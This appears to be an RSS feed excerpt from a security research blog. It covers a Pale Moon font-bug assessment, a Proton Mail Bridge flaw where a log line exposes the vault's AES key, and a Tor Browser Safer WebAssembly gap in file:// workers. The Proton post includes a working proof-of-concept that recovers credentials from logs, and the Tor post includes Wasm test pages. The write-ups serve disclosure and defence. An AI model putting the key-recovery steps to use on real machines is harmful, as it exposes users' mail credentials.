v64.ttf        REJECT    ACCEPT   REJECT   REJECT   REJECT
mark.ttf       REJECT    ACCEPT   REJECT   REJECT   REJECT
donor.ttf      REJECT    ACCEPT   REJECT   REJECT   REJECT
poc.ttf        REJECT    ACCEPT   REJECT   REJECT   REJECT
oob_sweep.ttf  REJECT    ACCEPT   REJECT   REJECT   REJECT
valid.ttf      ACCEPT    ACCEPT   ACCEPT   ACCEPT   ACCEPT
control.ttf    ACCEPT    ACCEPT   ACCEPT   ACCEPT   ACCEPT
```

All six malformed fonts are accepted by the original code and rejected by every fix variant. Both well formed control fonts remain accepted, so ordinary color glyph rendering is unaffected. Fix B is marginally stricter than Fix A in that it would also reject a font declaring `numColorRecords &lt; numPaletteEntries`, which fails closed and is spec consistent.

There is exactly one read site using `paletteEntryIndex` in the audited tree, and `ValidateColorGlyphs()` is its only gate, so no further reachable path requires auditing.

## 12. Assessment

The evidence supports a conservative rating. Remote reachability is trivial, since any web page can serve the font, and it is a memory safety violation with an attacker observable information disclosure channel and deterministic reproduction.

Evidence that would be required for a higher rating is not present: there is no write primitive, no code execution, no sandbox escape, and no privilege boundary crossing. No sensitive object was recovered, no crash or denial of service was demonstrated, and the attacker cannot select the disclosed content. Determinism raises confidence in the finding, not its severity.</content:encoded><category>palemoon</category><category>browser</category><category>research</category><author>b4r</author></item><item><title>proton bridge logged its own vault key</title><link>https://baradika.web.id/blog/proton-bridge-vault-key-log/</link><guid isPermaLink="true">https://baradika.web.id/blog/proton-bridge-vault-key-log/</guid><description>a single log line in proton mail bridge wrote sha256(vaultkey) to a world-readable file, and that digest is the AES key for vault.enc</description><pubDate>Wed, 30 Sep 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

Proton Mail Bridge persists credentials in an encrypted file, `vault.enc`, whose AES key is `SHA-256(vaultKey)`. On every start, one log line writes `SHA-256(vaultKey)` in hex to a world-readable log file. Same input, same function, same output: the value in the log **is** the key. One file read recovers every stored credential with no keychain access, no network position, and no user interaction.

Not a cross-user bug (the `0700` parent directory holds), not permanent (bounded by 200 MB of log pruning), and not automatic exfiltration (the only egress is a user-submitted bug report with logs attached). But within those bounds, the analysis is complete end to end.

## 1. Background

Proton Mail Bridge is a local proxy that sits between a standard mail client (Thunderbird, Outlook, Apple Mail) and Proton&apos;s encrypted mail service. It holds the user&apos;s Proton decryption keys, speaks plain IMAP and SMTP on `127.0.0.1`, and transparently decrypts inbound mail and encrypts outbound mail.

Because it holds live credentials, Bridge persists them in an encrypted file called `vault.enc`. The design intent is straightforward: the file on disk is ciphertext, and the key that unlocks it lives in the operating system keychain. An attacker who walks away with `vault.enc` but cannot reach the keychain gets nothing.

This post is about a log line that breaks that assumption.

The finding is small, one line of code, and it has been present since v3.20.0. The interesting part is not the bug itself but the shape of it: two unrelated subsystems both reach for `sha256` on the same input, and neither side knows what the other is doing with the result.

## 2. How the vault is encrypted

### 2.1 Key derivation

`internal/vault/vault.go` is where the vault is constructed. The relevant part of `New`:

```go
// internal/vault/vault.go:59
func New(vaultDir, gluonCacheDir string, key []byte, panicHandler async.PanicHandler) (*Vault, error, error) {
	if err := os.MkdirAll(vaultDir, 0o700); err != nil {
		return nil, nil, err
	}

	hash256 := sha256.Sum256(key)          // line 64

	aes, err := aes.NewCipher(hash256[:])  // line 66
	if err != nil {
		return nil, nil, err
	}

	gcm, err := cipher.NewGCM(aes)         // line 71
	if err != nil {
		return nil, nil, err
	}

	vault, corrupt, err := newVault(filepath.Join(vaultDir, &quot;vault.enc&quot;), gluonCacheDir, gcm)
	// ...
}
```

The raw key, 32 bytes, is never used directly as the cipher key. It is first run through SHA-256, and the digest becomes the AES-256 key. That is a legitimate construction: SHA-256 of 256 bits of CSPRNG output is a fine way to derive an AES key, and it also gives the codebase a stable domain-separated value.

The problem is that this same digest is exactly what gets logged, as we will see in section 4.

### 2.2 The on-disk format

`internal/vault/types_file.go` defines the wire format. The envelope:

```go
// internal/vault/types_file.go:29
type File struct {
	Version Version
	Data    []byte
}
```

and the sealing side:

```go
// internal/vault/types_file.go:59
func marshalFile[T any](gcm cipher.AEAD, t T) ([]byte, error) {
	dec, err := msgpack.Marshal(t)
	if err != nil {
		return nil, err
	}

	nonce, err := crypto.RandomToken(gcm.NonceSize())
	if err != nil {
		return nil, err
	}

	return msgpack.Marshal(File{
		Version: Current,
		Data:    gcm.Seal(nonce, nonce, dec, nil),
	})
}
```

So `vault.enc` is a msgpack envelope with two fields:

| Field | Content |
|---|---|
| `Version` | a plain integer, outside the AEAD seal |
| `Data` | `gcm.Seal(nonce, nonce, msgpack(Data), nil)` |

The nonce is 12 random bytes, generated fresh on every write, and prepended to the ciphertext. The additional authenticated data argument is `nil`, so the `Version` field is *not* authenticated. That is a separate observation, noted in section 9, and it is not what this post is about.

Decryption is the mirror image:

```go
// internal/vault/types_file.go:34
func unmarshalFile[T any](gcm cipher.AEAD, b []byte, data *T) error {
	var f File

	if err := msgpack.Unmarshal(b, &amp;f); err != nil {
		return fmt.Errorf(&quot;%w: %v&quot;, ErrUnmarshal, err)
	}

	dec, err := gcm.Open(nil, f.Data[:gcm.NonceSize()], f.Data[gcm.NonceSize():], nil)
	if err != nil {
		return fmt.Errorf(&quot;%w: %v&quot;, ErrDecryptFailed, err)
	}
	// ...
}
```

Two things matter for the exploit. First, the nonce is stored *inside* the sealed blob, so an attacker does not need to know it. Second, `gcm.Open` is the only integrity check: if the key is wrong, it returns `ErrDecryptFailed` and nothing is returned. There is no fallback path and no partial decryption.

### 2.3 What is inside the vault

`internal/vault/types_data.go` defines the plaintext structure:

```go
// internal/vault/types_data.go:24
type Data struct {
	Settings Settings
	Users    []UserData
	Cookies  []byte
	Certs    Certs
	Migrated bool
	FeatureFlagStickyKey uuid.UUID
}
```

And `UserData`, from `internal/vault/types_user.go:19`, is where the sensitive material lives:

```go
// internal/vault/types_user.go:19
type UserData struct {
	UserID       string
	Username     string
	PrimaryEmail string

	GluonKey    []byte
	GluonIDs    map[string]string
	BridgePass  []byte
	AddressMode AddressMode

	AuthUID string
	AuthRef string
	KeyPass []byte

	SyncStatus SyncStatus
	EventID    string

	UIDValidity map[string]imap.UID

	ShouldResync bool
}
```

Every field here is worth something to an attacker. The three that matter most:

| Field | Consumer | What it is |
|---|---|---|
| `AuthRef` | `internal/bridge/user.go:460` `api.NewClientWithRefresh(...)` | Proton API refresh token |
| `KeyPass` | `internal/bridge/user.go:396` `salts.SaltForKey(...)` then `apiUser.Keys.Unlock(...)` | passphrase that unlocks the account primary key |
| `BridgePass` | `internal/services/useridentity/state.go:240` `subtle.ConstantTimeCompare(...)` | the IMAP/SMTP local login credential |

`BridgePass` is the most self-contained of the three. It is the password the user types into their mail client to authenticate to Bridge&apos;s local IMAP listener, and it is compared with a constant-time compare in `CheckAuth`. Recovering it yields the plaintext mailbox with no involvement of Proton&apos;s API at all.

### 2.4 Where the key comes from

`internal/vault/helper.go` is a thin wrapper over the OS keychain:

```go
// internal/vault/helper.go:29
const vaultSecretName = &quot;bridge-vault-key&quot;
```

Reading it back on start:

```go
// internal/vault/helper.go:107
func GetVaultKey(kc *keychain.Keychain) ([]byte, error) {
	_, keyEnc, err := kc.Get(vaultSecretName)
	if err != nil {
		return nil, fmt.Errorf(&quot;could not get keychain item: %w&quot;, err)
	}

	keyDec, err := base64.StdEncoding.DecodeString(keyEnc)
	if err != nil {
		return nil, fmt.Errorf(&quot;could not decode keychain item: %w&quot;, err)
	}

	return keyDec, nil
}
```

and generating it on first run:

```go
// internal/vault/helper.go:125
func NewVaultKey(kc *keychain.Keychain) ([]byte, error) {
	tok, err := crypto.RandomToken(32)
	if err != nil {
		return nil, fmt.Errorf(&quot;could not generate random token: %w&quot;, err)
	}

	if err := kc.Put(vaultSecretName, base64.StdEncoding.EncodeToString(tok)); err != nil {
		return nil, fmt.Errorf(&quot;could not put keychain item: %w&quot;, err)
	}

	return tok, nil
}
```

The key is generated once, stored under the name `bridge-vault-key`, and read back on every start. It is stable for the life of the installation. It rotates only if the keychain item is deleted, or after `MaxFailedKeychainAttemptsLinux` (2) consecutive failures force a vault reset (`pkg/keychain/keychain.go:44`).

This stability matters, and it is what makes the log disclosure durable. It is covered experimentally in section 7.

## 3. The logging pipeline

Before looking at the log line itself, it is worth understanding how Bridge&apos;s logging is wired, because the line is emitted on every start with no flags and no non-default configuration.

### 3.1 Initialization

`internal/app/app.go:422` calls `logging.Init` with the value of the `--log-level` flag:

```go
// internal/app/app.go:422
if closer, err = logging.Init(
	logsPath,
	sessionID,
	logging.BridgeShortAppName,
	logging.DefaultMaxLogFileSize,
	logging.DefaultPruningSize,
	c.String(flagLogLevel),
); err != nil {
```

That flag is declared at `internal/app/app.go:144` with no `Value:` field:

```go
&amp;cli.StringFlag{
	Name:    flagLogLevel,
	Aliases: []string{flagLogLevelShort},
	Usage:   &quot;Set the log level (one of panic, fatal, error, warn, info, debug)&quot;,
},
```

So on a default installation `c.String(flagLogLevel)` returns the empty string.

### 3.2 Level resolution

`internal/logging/logging.go:187` handles that:

```go
// internal/logging/logging.go:187
func setLevel(level string) error {
	if level == &quot;&quot; {
		level = &quot;debug&quot;
	}

	logLevel, err := logrus.ParseLevel(level)
	if err != nil {
		return err
	}

	logrus.SetLevel(logLevel)
	// ...
}
```

In logrus, `Info` (4) is at or above `Debug` (5), so an `Info` call is emitted.

### 3.3 Output destination

`internal/logging/logging.go:109` is unconditional:

```go
// internal/logging/logging.go:109
logrus.SetOutput(rotator)
```

The rotating file writer is always installed. Only `Trace` level diverts to stderr (`logging.go:201`). So the log file is written on every start, regardless of any flag.

### 3.4 File creation and permissions

`internal/logging/rotator.go:40` creates each log file:

```go
// internal/logging/rotator.go:40
func defaultFileProvider(logsPath string, sessionID SessionID, appName AppName) FileProvider {
	return func(index int) (io.WriteCloser, error) {
		return os.Create(filepath.Join(logsPath,
			fmt.Sprintf(&quot;%v_%v_%03d_v%v_%v.log&quot;, sessionID, appName, index, constants.Version, constants.Tag),
		))
	}
}
```

`os.Create` uses mode `0666` before the umask. Under the default umask of `022` that is `0644`: world-readable.

The resulting layout on a default Linux install:

```text
~/.local/share/protonmail/bridge-v3/logs/&lt;sessionID&gt;_bri_000_v&lt;ver&gt;_&lt;tag&gt;.log
drwx------  .../protonmail/bridge-v3/logs
-rw-r--r--  .../logs/20260927_120000000_bri_000_v0.0.0_.log
-rw-------  ~/.config/protonmail/bridge-v3/vault.enc
```

The log file is more permissive than the file it protects. That is the whole attack surface in one line.

## 4. The log line

`internal/app/vault.go` is where the vault key is loaded and the vault is constructed. The success branch of `newVault`:

```go
// internal/app/vault.go:112
} else {
	vaultKey = key
	lastUsedHelper = helper
	logHashedVaultKey(vaultKey) // Log a hash of the vault key.
}
```

which then goes straight into the vault constructor:

```go
// internal/app/vault.go:123
userVault, corrupt, err := vault.New(vaultDir, gluonCacheDir, vaultKey, panicHandler)
```

And the function it calls:

```go
// internal/app/vault.go:213
// logHashedVaultKey - computes a sha256 hash and encodes it to base 64. The resulting string is logged.
func logHashedVaultKey(vaultKey []byte) {
	hashedKey := sha256.Sum256(vaultKey)
	logrus.WithField(&quot;hashedKey&quot;, hex.EncodeToString(hashedKey[:])).Info(&quot;Found vault key&quot;)
}
```

Compare the two SHA-256 computations. Key derivation first:

```go
// internal/vault/vault.go:64        (key derivation)
hash256 := sha256.Sum256(key)
aes, err := aes.NewCipher(hash256[:])
```

then logging, eleven thousand lines away:

```go
// internal/app/vault.go:215        (logging)
hashedKey := sha256.Sum256(vaultKey)
```

Same input. Same function. Same output. One side uses it as an AES-256 key. The other side hex-encodes it and writes it to a world-readable file.

The value in the log is not a fingerprint of the key. It is the key.

The comment on the function says &quot;computes a sha256 hash and encodes it to base 64&quot;, which is wrong twice over: the code uses hex, not base 64, and the result is not a hash in the protective sense. The commit that introduced it is unambiguous about intent:

```text
commit 899d3293bcfd2ff6a8e28dba7b8bbf4703b7d3d7
feat(BRIDGE-324): added a log entry for the vault key hash
```

The intent was a non-secret identifier for support correlation. The implementation discloses the key, because SHA-256 is simultaneously this codebase&apos;s key derivation function. The two uses of the same primitive collide, and nothing in the code distinguishes them.

![](./gambar.png)
## 5. The attack

The full chain, from a log file to plaintext credentials:

```text
read  ~/.local/share/protonmail/bridge-v3/logs/&lt;session&gt;_bri_*.log   (0644)
  -&gt; regex  hashedKey=&quot;([0-9a-f]{64})&quot;
  -&gt; hex decode to 32 bytes
  -&gt; aes.NewCipher(those 32 bytes)                    == vault.go:64
  -&gt; cipher.NewGCM
  -&gt; gcm.Open(vault.enc)
  -&gt; msgpack.Unmarshal
  -&gt; AuthUID, AuthRef, KeyPass, BridgePass, GluonKey, Bridge TLS key material
```

No keychain access. No Proton API. No network position. No user interaction. One file read.

## 6. Experiment 1: cross-user access

The first question to answer is whether this crosses a user boundary. It does not, and it is worth showing the measurement rather than asserting it.

No passwordless sudo was available in the test environment, so I used Linux user namespaces (`unshare --map-auto`, with the subuid range `b4r:100000:65536`) to obtain genuinely distinct UIDs with real kernel permission checks. Victim is uid 1000, attacker is uid 1001. The artifacts were created by the real `internal/logging` and `internal/vault` packages, not by a mock.

```text
victim home, mode 0755 (typical desktop)

drwx------  .local
drwx------  share
drwx------  protonmail
drwx------  bridge-v3
drwx------  logs
-rw-r--r--  20260927_120000000_bri_000_v0.0.0_.log
-rw-------  ~/.config/protonmail/bridge-v3/vault.enc
```

Attacker at uid 1001, every stage:

```text
ls   .../home/.local                     BLOCKED rc=2  Permission denied
ls   .../home/.local/share               BLOCKED rc=2
ls   .../protonmail                      BLOCKED rc=2
ls   .../bridge-v3                       BLOCKED rc=2
ls   .../logs                            BLOCKED rc=2
cat  &lt;logfile&gt;                           BLOCKED rc=1
cat  .../vault.enc                       BLOCKED rc=1
```

Seven of seven blocked. The control, the same uid as the victim, reads the line without difficulty:

```text
level=&quot;info&quot; msg=&quot;Found vault key&quot; hashedKey=&quot;610e275f667d85d7c636221d2aae135ee96637c24cc639dc6b3af007b7d70de1&quot;
```

The parent directory is `0700` (`internal/locations/locations.go:169` and `internal/locations/provider.go:63`), and that is what stops traversal. This is not a cross-user vulnerability, and I am not claiming one.

I also checked whether an upgrade could leave a looser directory behind. `os.MkdirAll` does not repair a pre-existing directory, so a `0755` logs directory would stay `0755`. But I enumerated every commit that has ever touched that line:

```text
2020-11-23 .. 2022-04-05   MkdirAll(l.getLogsPath(), 0700)     (11 commits)
2022-05-31 .. 2026-03-17   MkdirAll(l.getLogsPath(), 0o700)     (29 commits)
```

Only the Go notation changed. It has never been looser than `0700`, so no shipped version produces that state.

## 7. Experiment 2: key persistence

The second question is durability. If the key rotated on every start, the log disclosure would be short-lived. It does not.

I ran four consecutive starts against a persistent keychain entry, mirroring `internal/vault/helper.go:29` (`vaultSecretName = &quot;bridge-vault-key&quot;`), `GetVaultKey` (read) and `NewVaultKey` (generate and store):

```text
START 1  no item -&gt; generated NEW key
START 2  retrieved EXISTING key
START 3  retrieved EXISTING key
START 4  retrieved EXISTING key

grep hashedKey across all four log files:
      4  hashedKey=&quot;9d5c5aac6af7e980aaf4eb39cfe97fb5c508ba8c8a85768bbc3bb66965c40ce2&quot;
      (one unique value)
```

Then the decisive test: take the *oldest* log, from start 1, and use it against the vault written by the most recent start.

```text
ATTACKER key from OLD log: 9d5c5aac6af7e980aaf4eb39cfe97fb5c508ba8c8a85768bbc3bb66965c40ce2
ATTACKER DECRYPT: SUCCESS
  UserID=victim-user-0001 AuthUID=uid-victim AuthRef=SYNTHETIC-AUTHREF-A KeyPass=SYNTHETIC-KEYPASS-A
```

The key is stable because it is stored as bytes under a name in the keychain. A log from months ago still decrypts today&apos;s vault.

The exposure is bounded, not permanent. Log pruning is `DefaultPruningSize = 200 MB` (`internal/logging/pruning.go:33`), after which the oldest sessions are deleted. At realistic log volumes that is a long time, but it is not unbounded.

## 8. Experiment 3: the decrypt

The proof of concept uses the real `internal/vault` package to create the vault, and a separate decryptor that uses only the value taken from the log. All values are synthetic.

```go
package vault_test

import (
	&quot;crypto/aes&quot;
	&quot;crypto/cipher&quot;
	&quot;crypto/rand&quot;
	&quot;crypto/sha256&quot;
	&quot;encoding/hex&quot;
	&quot;fmt&quot;
	&quot;os&quot;
	&quot;path/filepath&quot;
	&quot;regexp&quot;
	&quot;testing&quot;

	&quot;github.com/ProtonMail/proton-bridge/v3/internal/vault&quot;
	&quot;github.com/vmihailenco/msgpack/v5&quot;
)

func TestVaultKeyRecoverableFromLog(t *testing.T) {
	root := t.TempDir()
	vaultDir := filepath.Join(root, &quot;vault&quot;)

	rawKey := make([]byte, 32) // stands in for the keychain value
	rand.Read(rawKey)

	v, _, err := vault.New(vaultDir, filepath.Join(root, &quot;gluon&quot;), rawKey, nil)
	if err != nil {
		t.Fatal(err)
	}

	v.AddUser(&quot;victim-user-0001&quot;, &quot;victim@proton.me&quot;, &quot;victim@proton.me&quot;,
		&quot;uid-victim&quot;, &quot;SYNTHETIC-AUTHREF-11111111&quot;,
		[]byte(&quot;SYNTHETIC-KEYPASS-22222222&quot;))
	v.Close()

	// what internal/app/vault.go:214-216 writes
	h := sha256.Sum256(rawKey)
	logLine := fmt.Sprintf(&quot;level=info msg=\&quot;Found vault key\&quot; hashedKey=%x\n&quot;, h)
	os.WriteFile(filepath.Join(root, &quot;bridge.log&quot;), []byte(logLine), 0644)

	// attacker side: the only input is the log file
	b, _ := os.ReadFile(filepath.Join(root, &quot;bridge.log&quot;))
	m := regexp.MustCompile(`hashedKey=([0-9a-f]{64})`).FindSubmatch(b)
	key := make([]byte, 32)
	hex.Decode(key, m[1])

	enc, _ := os.ReadFile(filepath.Join(vaultDir, &quot;vault.enc&quot;))
	var f vault.File
	msgpack.Unmarshal(enc, &amp;f)
	blk, _ := aes.NewCipher(key) // key comes from the log
	gcm, _ := cipher.NewGCM(blk)
	plain, err := gcm.Open(nil,
		f.Data[:gcm.NonceSize()], f.Data[gcm.NonceSize():], nil)
	if err != nil {
		t.Fatalf(&quot;decrypt failed: %v&quot;, err)
	}

	var data vault.Data
	msgpack.Unmarshal(plain, &amp;data)
	for _, u := range data.Users {
		t.Logf(&quot;AuthUID=%s AuthRef=%s KeyPass=%s&quot;,
			u.AuthUID, u.AuthRef, string(u.KeyPass))
	}
}
```

Run it:

```text
$ go test ./internal/vault/ -run TestVaultKeyRecoverableFromLog -v
=== RUN   TestVaultKeyRecoverableFromLog
level=info msg=&quot;Adding vault user&quot; userID=victim-user-0001
    zz_poc_test.go:61: AuthUID=uid-victim AuthRef=SYNTHETIC-AUTHREF-11111111 KeyPass=SYNTHETIC-KEYPASS-22222222
--- PASS: TestVaultKeyRecoverableFromLog (0.09s)
PASS
```

The decryptor is deliberately independent of `internal/vault`. It rebuilds the AEAD from the log string and unpacks the on-disk format by hand, so the result cannot be an artefact of the code under test. The test fails at `gcm.Open` with `decrypt failed` if the log-derived value is wrong.

One note on fidelity. `internal/app` does not compile in this environment because it transitively requires cgo and libfido2, so I could not call the unexported `logHashedVaultKey` directly. I used the real `internal/logging` package to produce the log file, and reproduced the three-line body of `logHashedVaultKey` verbatim. The claim under test is about the value of that expression, not about logrus formatting.

## 9. The bug report path

There is one egress path for the logs, and it is worth documenting precisely.

`internal/bridge/bug_report.go:95`:

```go
func (bridge *Bridge) CollectLogs() (proton.ReportBugAttachment, error) {
	logsPath, err := bridge.locator.ProvideLogsPath()
	if err != nil {
		return proton.ReportBugAttachment{}, err
	}

	buffer, err := logging.ZipLogsForBugReport(logsPath, DefaultMaxSessionCountForBugReport, DefaultMaxBugReportZipSize)
	// ...
}
```

The chain from the UI:

```text
BugReportView.qml:46   Backend.reportBug(..., includeLogs.checked)
BugReportView.qml:144  `CheckBox { id: includeLogs;  checked: true }`
BugReportView.qml:41   includeLogs.checked = true;      // re-forced on open
  -&gt; gRPC Service.ReportBug (service_methods.go:369)
  -&gt; bridge.ReportBug{IncludeLogs: report.IncludeLogs}
  -&gt; bug_report.go:59   if report.IncludeLogs { bridge.CollectLogs() }
  -&gt; ZipLogsForBugReport(logsPath, 10 sessions, 7 MB)
  -&gt; createTicket -&gt; bridge.api.ReportBug(...)
```

Two things stand out. The attachment is enabled by default: the checkbox starts checked and is set again when the view opens. And the destination is Proton&apos;s own support API, not an arbitrary third party.

This is not automatic exfiltration. It requires the user to submit a bug report. But it is the one path by which the key leaves the machine, and the user is not informed that &quot;include my logs&quot; means &quot;include the decryption key for every mail account on this Bridge&quot;.

I checked whether the key is uploaded anywhere without user action. It is not. There is no logrus-to-Sentry hook anywhere in the tree: no `AddHook`, no `Levels()`, no `Fire()` in `internal/sentry` or `internal/app`. The `DebugWriter` in `internal/sentry/reporter.go:60` runs in the opposite direction, Sentry&apos;s own logs into logrus. The only Sentry call near the vault (`internal/app/vault.go:95`) passes `keychainDefaultHelper`, `keychainUsableHelpersLength`, and `error`. Not the key.

## 10. What this is not

Being precise about the limits is what makes the rest of the analysis credible.

**Not a cross-user vulnerability.** Measured in section 6. The `0700` parent directory blocks traversal at every stage.

**Not a keychain privilege escalation.** `pkg/keychain` contains no ACL, no UID check, no PID check, and no peer credential verification. `Keychain.Get` is a plain lookup by name:

```go
// pkg/keychain/keychain.go:212
func (kc *Keychain) Get(userID string) (string, string, error) {
	kc.locker.Lock()
	defer kc.locker.Unlock()

	id, key, err := kc.helper.Get(kc.secretURL(userID))
	// ...
}
```

On Linux the available helpers are raw D-Bus Secret Service and `pass`. A process running as the same user can generally read the vault key from the keychain directly. Writing it to a log file gives that attacker nothing new. This is the reason the severity is Medium and not higher.

**Not OS-wide certificate trust.** The Bridge CA is issued with `CommonName: &quot;127.0.0.1&quot;` and `IPAddresses: [127.0.0.1]` (`internal/certs/tls.go:44`), and on Linux `installCert` is a no-op (`internal/certs/cert_store_linux.go:20`). Leaf certificates minted from the recovered key would be valid for `127.0.0.1` only, which is unreachable off-host. I did not test the macOS keychain path.

**Not a proven account takeover.** `AuthRef` is a refresh token consumed by `api.NewClientWithRefresh` at `internal/bridge/user.go:460`. I did not exercise it against a live Proton account and make no claim about what it grants. The claim here is recovery of authentication material, which is already a complete impact statement.

**Not permanent.** Bounded by 200 MB of log pruning.

**Not a Bridge-created backup.** The only backup in the tree is of the application bundle during update (`internal/updater/sync.go:32`). Nothing archives `vault.enc` together with the logs.

**Not tested on macOS or Windows.** On those platforms `os.MkdirAll(..., 0o700)` does not set POSIX modes and Windows relies on inherited ACLs, which I did not verify.

## 11. Conclusion

This is a one-line defect with a clear intent mismatch, in the highest-value asset in the application, present since v3.20.0 and still in master.

The shape of it is worth remembering. SHA-256 is used twice on the same input: once as a key derivation step, once as a diagnostic fingerprint. Both uses are individually reasonable. The collision between them is not, and nothing in the code distinguishes a value that must be secret from a value that is safe to publish.

The general lesson is that a KDF output is not a fingerprint. If a codebase derives a key by hashing a secret, then that hash is the key, and logging it is key disclosure regardless of what the log line is named.</content:encoded><category>proton</category><category>cryptography</category><category>linux</category><author>b4r</author></item><item><title>tor browser safer leaks wasm into file:// workers</title><link>https://baradika.web.id/blog/tor-safer-wasm-file-worker/</link><guid isPermaLink="true">https://baradika.web.id/blog/tor-safer-wasm-file-worker/</guid><description>auditing tor browser 15 safer for wasm leftovers: a local file:// worker keeps WebAssembly.compile while https workers do not</description><pubDate>Tue, 29 Sep 2026 00:00:00 GMT</pubDate><content:encoded>## TL;DR

I audited Tor Browser 15.0.23 for one narrow question: if the top page has no WebAssembly at Safer, is there another realm from the same page that still has it?

Short answer: **yes for a local `file://` Dedicated Worker, no for a normal `https://` website.** So this is a research note, not a remote bounty finding.

## Locked target

- Tor Browser Desktop 15.0.23 on Linux x86_64
- Firefox 140.16.0esr, BuildID 20260914100000
- SourceStamp ca2da456d746c357ef0f382c06e46e2184e5c923
- Bundled NoScript 13.6.33.1984
- Safer `security_slider=2`, Standard slider=4 as control
- Stock profile, no source edits, no odd prefs

I used the two recent Wasm fixes as templates: 45296 (SharedWorker identity mismatch) and 45297 (missing `setHTMLUnsafe` hook). Both are about a realm at Safer that keeps Wasm because a hook missed it. I looked for the same pattern in sibling paths.

## Why Wasm at Safer matters in Tor

Stock Firefox allows Wasm everywhere. Tor Browser 15 forces it on globally:

```javascript
&quot;javascript.options.wasm&quot;: [, true, true, true, true],
```

The comment in `SecurityLevel.sys.mjs` says Wasm is now handled by NoScript. The Safer policy for a normal site has `script` but no `wasm` cap. So the invariant is plain: **at Safer, the page and every script realm born from it should have no WebAssembly.**

NoScript enforces that by deleting the object, not only by blocking network.

## How NoScript deletes Wasm

Two paths in `nscl`.

Window path in `nscl/content/WasmHook.js` (around lines 77 to 105):

```javascript
Reflect.deleteProperty(globalThis, &quot;WebAssembly&quot;);
patchWorkers(`(${workersPatch})()...`);
```

`workersPatch` is the worker deletion payload. Registration lives in `nscl/content/patchWorkers.js`:

```javascript
const joinPatches = () =&gt; wrap([...patches].join(&quot;\n&quot;));
patches.add(stringify(patch));
```

Worker path in `nscl/main/patchWorkers.main.js` in `handlePatch`:

- `data:` and `blob:` get inline treatment. Code is fetched with sync XHR in `loadWorkerSrc`, then the current `getPatch` payload is prepended, then a new blob or data URL is built. Same global, already cleaned before attacker code runs.
- Anything else is treated as remote. Code posts `patchUrl` to background and waits for `patchedUrl` or `cancelUrl` through `failSafe`.

Remote patch lives in `service/patchWorkers.js` (around lines 101 to 169):

```javascript
urls: [&quot;&lt;all_urls&gt;&quot;],
types: [&quot;script&quot;],
if (name == &quot;Sec-Fetch-Dest&quot;) {
  if (!/work(er|let)/.test(value)) {
    return;
  }
}
let filter = browser.webRequest.filterResponseData(requestId);
filter.write(new TextEncoder().encode(patchInfo.patch));
```

So the remote patch only runs when the worker fetch carries `Sec-Fetch-Dest: worker`, `sharedworker`, `serviceworker`, or `worklet`. No header means early return and no patch.

## The file:// gap

A `file://` worker URL is not `data:` or `blob:`, so it goes down the remote path. But a `file://` fetch has no HTTP headers, so no `Sec-Fetch-Dest`. The filter returns before injecting anything.

I proved it live in stock Tor Browser headless at Safer, with two files in one folder.

`file-worker.js`:

```javascript
(async()=&gt;{
  const t = typeof WebAssembly;
  let compiled = false;
  let err = &quot;&quot;;
  try{
    if(globalThis.WebAssembly &amp;&amp; WebAssembly.compile){
      const bytes = new Uint8Array([0,97,115,109,1,0,0,0]);
      const m = await WebAssembly.compile(bytes);
      compiled = !!m;
    }
  }catch(e){ err = String(e).slice(0,100); }
  postMessage({t, compiled, err});
})();
```

`file-remote-worker.html`:

```html
&lt;!doctype html&gt;&lt;html&gt;&lt;head&gt;&lt;meta charset=&quot;utf-8&quot;&gt;&lt;/head&gt;&lt;body&gt;
&lt;div id=&quot;out&quot;&gt;loading...&lt;/div&gt;
&lt;script&gt;
async function run(){
  const out=[];
  await new Promise(r=&gt;setTimeout(r,3000));
  out.push(&quot;top: &quot;+typeof WebAssembly);
  const w = new Worker(&apos;file-worker.js&apos;);
  const m = await new Promise((res,rej)=&gt;{
    const to=setTimeout(()=&gt;rej(new Error(&quot;timeout&quot;)),6000);
    w.onmessage=e=&gt;{clearTimeout(to);res(e.data);};
    w.onerror=e=&gt;{clearTimeout(to);rej(new Error(e.message));};
  });
  out.push(&quot;worker t: &quot;+m.t+&quot; compiled:&quot;+m.compiled);
  w.terminate();
  document.getElementById(&quot;out&quot;).innerText=out.join(&quot;\n&quot;);
  document.title=&quot;DONE&quot;;
}
run();
&lt;/script&gt;
&lt;/body&gt;&lt;/html&gt;
```

Safer `file://`, 6 of 6 runs:

```text
top: undefined BLOCKED
worker t: object compiled:true
```

Standard `file://` control:

```text
top: object ALLOWED
worker t: object compiled:true
```

Standard shows no violation because both sides may have Wasm. Safer shows the violation because top is cleaned and the worker is not. `SharedWorker(&apos;file://...&apos;)` threw in my runs, so the repro is Dedicated Worker only.

## The test that decides bounty eligibility: https:// equivalent worker

A local file PoC is not the same as a website exploit. I needed a real Tor connected secure origin I fully control, with both `index.html` and `worker.js` same origin.

I used a local onion service:

- Local HTTP server on 127.0.0.1:8899 serving the PoC folder
- Separate Tor daemon publishing an ephemeral onion `Port=80,127.0.0.1:8899`
- Tor Browser stock proxy 127.0.0.1:9150 forwarded to real system Tor
- No custom proxy prefs, no source edits

Onion `http:` counts as secure like `https:` in NoScript through `Sites.parse`, so the Wasm policy matches a normal `https:` site at Safer: script allowed, Wasm not.

`index.html` on onion:

```html
&lt;!doctype html&gt;&lt;html&gt;&lt;head&gt;&lt;meta charset=&quot;utf-8&quot;&gt;&lt;/head&gt;&lt;body&gt;
&lt;div id=&quot;out&quot;&gt;loading...&lt;/div&gt;
&lt;script&gt;
async function run(){
  const out=[];
  out.push(&quot;top origin &quot;+location.origin);
  await new Promise(r=&gt;setTimeout(r,2500));
  out.push(&quot;top typeof WebAssembly: &quot;+typeof WebAssembly);
  const w=new Worker(&apos;/worker.js&apos;);
  const m=await new Promise((res,rej)=&gt;{
    const to=setTimeout(()=&gt;rej(new Error(&quot;timeout-no-msg&quot;)),15000);
    w.onmessage=e=&gt;{clearTimeout(to);res(e.data);};
    w.onerror=e=&gt;{clearTimeout(to);rej(new Error(&quot;worker-error&quot;));};
  });
  out.push(&quot;worker wasmType=&quot;+m.wasmType+&quot; compiled=&quot;+m.compiled);
  document.getElementById(&quot;out&quot;).innerText=out.join(&quot;\n&quot;);
  document.title=&quot;DONE&quot;;
}
run();
&lt;/script&gt;
&lt;/body&gt;&lt;/html&gt;
```

`worker.js` on onion:

```javascript
(async()=&gt;{
  const t = typeof WebAssembly;
  const bytes = new Uint8Array([0,97,115,109,1,0,0,0]);
  let compiled = false;
  try{ const m = await WebAssembly.compile(bytes); compiled = !!m; }catch(_){}
  postMessage({wasmType: t, compiled});
})();
```

Safer onion over real Tor:

```text
top origin http://zhrj46...onion
top typeof WebAssembly: undefined
worker wasmType=undefined compiled=false
```
